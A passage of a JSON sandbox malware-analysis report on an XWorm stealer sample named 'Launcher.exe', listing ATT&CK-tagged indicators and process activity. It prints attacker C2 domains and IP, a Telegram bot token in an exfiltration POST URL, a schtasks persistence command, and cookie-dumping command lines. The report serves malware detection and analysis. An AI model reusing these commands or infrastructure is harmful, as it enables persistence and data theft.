Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00000924.00000000.269856.00580000.00000004.mdmp, 00000000-00000924.00000001.270101.00580000.00000004.mdmp\")\n Found string \"Ping\" (Indicator: \"ping\"; Source: \"00000000-00003868.00000000.270215.00A42000.00000020.mdmp, 00000000-00003868.00000001.272138.12C60000.00000004.mdmp, 00000000-00003868.00000002.274059.12C60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"Launcher.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")\n \"Launcher.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"AUTODETECT\"; Value: \"0100000000\")\n \"System Properties.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")\n \"System Properties.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"AUTODETECT\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Calls an API typically used to retrieve the host name of a computer","description":"\"Build.exe\" called \"gethostname\" with parameter %OSUSER%-PC & 256 (UID: 00000000-00003560)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-225","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"explorer.exe\" sleeping for \"1566804069\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"suspicious","category":"Network Related","name":"Attempts to call internet-related API for network communication","description":"\"Build.exe\" called \"gethostname\" with parameters (UID: 00000000-00003560)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-291","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Hooks file system APIs","description":"\"FindFirstFileW@KERNEL32.DLL\" in \"explorer.exe\"\n \"FindNextFileW@KERNEL32.DLL\" in \"explorer.exe\"\n \"FindFirstFileA@KERNEL32.DLL\" in \"explorer.exe\"\n \"FindNextFileA@KERNEL32.DLL\" in \"explorer.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-2","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"Cryptographic Related","name":"Hooks key cryptographic functions of the CryptoAPI","description":"\"BCryptGenerateKeyPair@BCRYPT.DLL\" in \"Build.exe\"\n \"BCryptOpenAlgorithmProvider@BCRYPT.DLL\" in \"Build.exe\"\n \"BCryptDecrypt@BCRYPT.DLL\" in \"Build.exe\"\n \"BCryptImportKeyPair@BCRYPT.DLL\" in \"Build.exe\"\n \"BCryptImportKey@BCRYPT.DLL\" in \"Build.exe\"\n \"BCryptEncrypt@BCRYPT.DLL\" in \"Build.exe\"\n \"BCryptExportKey@BCRYPT.DLL\" in \"Build.exe\"\n \"BCryptSetProperty@BCRYPT.DLL\" in \"Build.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-1","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"20/27 Antivirus vendors marked dropped file \"explorcr.exe\" as malicious (classified as \"Trojan.MSIL.InfoStealer.gen\" with 74% detection rate)\n 20/26 Antivirus vendors marked dropped file \"System Properties.exe\" as malicious (classified as \"MSIL.DDos\" with 76% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"20/26 Antivirus vendors marked spawned process \"System Properties.exe\" (PID: 3868) as malicious (classified as \"MSIL.DDos\" with 76% detection rate)\n 20/27 Antivirus vendors marked spawned process \"explorer.exe\" (PID: 3288) as malicious (classified as \"Trojan.MSIL.InfoStealer.gen\" with 74% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"System Properties.exe\" allocated memory in \"%TEMP%\\System Properties.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"send@WS2_32.DLL\" in \"explorer.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Known malware detected","description":"The sample is known malware – XWorm Stealer","origin":"Indicator Combinations","mitre_attack_id":"T1005","relevance":10,"id":"summary-5035","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00008512)\n \"powershell.exe\" called \"FindResourceW\" (UID: 00000000-00008512)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API NtUpdateWnfStateData@NTDLL.DLL at 00000000-00008512-15623-242-00CFFDEB\n Found reference to API NtQueryWnfStateData@NTDLL.DLL at 00000000-00008512-15623-251-00CFFD90\n Found reference to API RtlUnregisterFeatureConfigurationChangeNotification@NTDLL.DLL at 00000000-00008512-15623-261-00CFAC06\n Found reference to API RtlRegisterFeatureConfigurationChangeNotification@NTDLL.DLL at 00000000-00008512-15623-313-00D0002E\n Found reference to API RtlQueryFeatureConfiguration@NTDLL.DLL at 00000000-00008512-15623-314-00CFFFD5\n Found reference to API RtlNotifyFeatureUsage@NTDLL.DLL at 00000000-00008512-15623-315-00CFFF8B\n Found reference to API RtlNtStatusToDosErrorNoTeb@NTDLL.DLL at 00000000-00008512-15623-436-00CFDF00\n Found reference to API RtlDllShutdownInProgress@NTDLL.DLL at 00000000-00008512-15623-437-00CFDE80\n Found reference to API RtlDisownModuleHeapAllocation@NTDLL.DLL at 00000000-00008512-15623-438-00CFDE00","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$6f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system driver type","description":"Found string \"ystem.Home.DriveType\" (Indicator: \".drivetype\"; Source: \"00000000-00003728.00000000.142759.02B90000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1025","relevance":1,"id":"string-713","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008512.00000000.144687.00D07000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00008512.00000000.144687.00D07000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-189-00D01900\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-191-00CFDA59\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-218-00CFAAA7\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-219-00CFB109\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-231-00CFDAC7\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-236-00CFB7D0\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-325-00CFF392\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-327-00CFF7E1\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-331-00CFCF72\n GetProcessHeap@KERNEL32.DLL at 00000000-00008512-15623-428-00CFDF74","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"Launcher.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")\n \"System Properties.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"api.telegram.org\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"Found string \"### 2025-09-17 4:42:22 PM ###www.reddit.com/r/gifs### 2025-09-17 6:43:29 PM ###www.reddit.com/r/gifs### 2025-09-17 6:52:01 PM ###www.youtube.com/watch?v=9bZkp7q19f0### 2025-09-17 6:52:02 PM ###www.youtube.com/watch?v=9bZkp7q19f0\" (Indicator: \"youtube\"; File: \"clipboard_logs.txt\")","origin":"File/Memory","relevance":2,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"System Properties.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at B7370000\n \"windows defender.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at B7370000\n \"explorer.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at B7370000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$70","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://api.telegram.org/bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00008512\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00005860.00000001.144974.B7323000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtUpdateWnfStateData@NTDLL.DLL at 00000000-00008512-15623-242-00CFFDEB\n NtQueryWnfStateData@NTDLL.DLL at 00000000-00008512-15623-251-00CFFD90","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Attempts to steal desktop application's information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Persistence","details_count":6,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"},{"detail":"Writes a file to the startup folder"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Executes WMI queries in order to detect local security applications"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Evasive","details_count":8,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to terminate a process"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"Remote Access","details_count":1,"details":[{"detail":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]}]},"activity":{"stats":{"process_count":28,"spawned_processes_count":28,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":96,"imported_dlls_count":225,"dropped_files_count":0,"extracted_files_count":43,"files_written_count":83,"files_deleted_count":0,"registry_keys_created_count":21,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":21,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["bladabindi","commodity","modular","rat","opensource","njrat","xworm","criminal","asyncrat","stealer","evasive","infostealer","ransomware"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"699d0f53bb3410383f0710a3","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"TrojanPSW.MSIL.Stealer.gen.pkii","submit_name":"Launcher.exe","analysis_start_time":"2026-02-24T02:39:17+00:00","indicators_count":{"informative":229,"suspicious":50,"malicious":22},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"68cac876f2ef74272c039e20","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["EGY"],"submit_name":"Launcher.exe","analysis_start_time":"2025-09-17T14:40:56+00:00","indicators_count":{"informative":218,"suspicious":56,"malicious":17},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"68cac8435302a3c1230ccc78","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["EGY","GBR"],"submit_name":"Launcher.exe","analysis_start_time":"2025-09-17T14:40:04+00:00","indicators_count":{"informative":233,"suspicious":96,"malicious":21},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"68cac8304a3f6d2add08c129","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["EGY","GBR"],"submit_name":"Launcher.exe","analysis_start_time":"2025-09-17T14:39:46+00:00","indicators_count":{"informative":243,"suspicious":83,"malicious":18},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"45.241.132.125","port":4242,"protocol":"TCP","country":"Egypt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"address":"45.241.132.125","port":5353,"protocol":"TCP","country":"Egypt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"address":"149.154.167.220","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}],"dns_resolutions":[{"domain":"aiopal.camdvr.org","address":"45.241.132.125","ttl":30,"country":"Egypt","registrar_name":"TLDS L.L.C. d/b/a SRSPlus","registrar_name_servers":"NS6.DYNU.COM","registrar_creation_date":"2017-02-02T20:52:06+00:00","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"domain":"aiopal.giize.com","address":"45.241.132.125","ttl":30,"country":"Egypt","registrar_name":"TLDS LLC. d/b/a SRSPlus","registrar_name_servers":"ns3.dynu.com","registrar_creation_date":"2017-01-14T13:02:07+00:00","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"domain":"api.telegram.org","address":"149.154.167.220","ttl":174,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}],"http_requests":[{"host":"api.telegram.org","host_ip":"149.154.167.220:443","url":"/bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /bot7253323460:AAFDzMF1XoY5X8tS9-s3DRdOKe8LvQJikp0/sendDocument HTTP/1.1\nContent-Type: multipart/form-data; boundary=\"471cd215-4fee-4472-9ca2-73d784526520\"\nHost: api.telegram.org\nContent-Length: 254632\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}],"processes":[{"pid":7048,"ppid":0,"name":"Launcher.exe","command_line":"","sha256":"53ab4a93b93223968cf2e71ea8070ba2d7e1a9010d21d41e25100e2b6ab516d9","normalized_path":"C:\\Launcher.exe","uid":"00000000-00007048","icon":"$71"},{"pid":5868,"ppid":7048,"name":"Launcher.exe","command_line":"","sha256":"9a657f8a9e75786f58aa9775b5b403544fc15249a22bc13165472f4ec7c20b6b","normalized_path":"%TEMP%\\Launcher.exe","parent_uid":"00000000-00007048","uid":"00000000-00005868"},{"pid":6668,"ppid":5868,"name":"System Properties.exe","command_line":"","sha256":"3e5b53f8b01e9eaf54c9879fc832f3f71e6b078b6f4cacc93cad05e2a2ff031e","normalized_path":"%TEMP%\\System Properties.exe","parent_uid":"00000000-00005868","uid":"00000000-00006668"},{"pid":196,"ppid":6668,"name":"schtasks.exe","command_line":"/create /f /RL HIGHEST /sc minute /mo 1 /tn \"System Properties\" /tr \"%ALLUSERSPROFILE%\\System Properties.exe\"","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00000000-00006668","uid":"00000000-00000196"},{"pid":6308,"ppid":5868,"name":"windows defender.exe","command_line":"","sha256":"16a1317ad2b3a3464c1c97066ce8329a96b226607760393c29eb145e8c7c666c","normalized_path":"%TEMP%\\windows defender.exe","parent_uid":"00000000-00005868","uid":"00000000-00006308"},{"pid":7364,"ppid":5868,"name":"explorer.exe","command_line":"","sha256":"ff37506f2c1d82d61f2eadefe66a685d1142d29b7790d90b76c5969a282cc752","normalized_path":"%TEMP%\\explorer.exe","parent_uid":"00000000-00005868","uid":"00000000-00007364"},{"pid":5992,"ppid":7048,"name":"Build.exe","command_line":"","sha256":"f76953c27b5c17dd1f1e7d1ee6d856d0060e6e37e16bcd7d32779c0790dd70ac","normalized_path":"%TEMP%\\Build.exe","parent_uid":"00000000-00007048","uid":"00000000-00005992"},{"pid":7692,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\AlternativeEdgeCookies-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00007692"},{"pid":1044,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\FirefoxCookies-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00001044"},{"pid":3840,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\InstalledApps-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00003840"},{"pid":4304,"ppid":5992,"name":"grpconv.exe","command_line":"/shtml \"%APPDATA%\\watch-output_20250917145800.html\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00004304"},{"pid":3352,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\ChromeV20-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00003352"},{"pid":3800,"ppid":5992,"name":"grpconv.exe","command_line":"/stext \"%APPDATA%\\BrowserHistory-output_20250917145800.txt\"","sha256":"f6660bccde17315cc30f7b8a43b4175cd6b0453b8b2b28a90df30109b5e107c3","normalized_path":"%WINDIR%\\SysWOW64\\grpconv.exe","parent_uid":"00000000-00005992","uid":"00000000-00003800"},{"pid":4424,"ppid":5992,"name":"grpconv.exe","command_line":"/stext 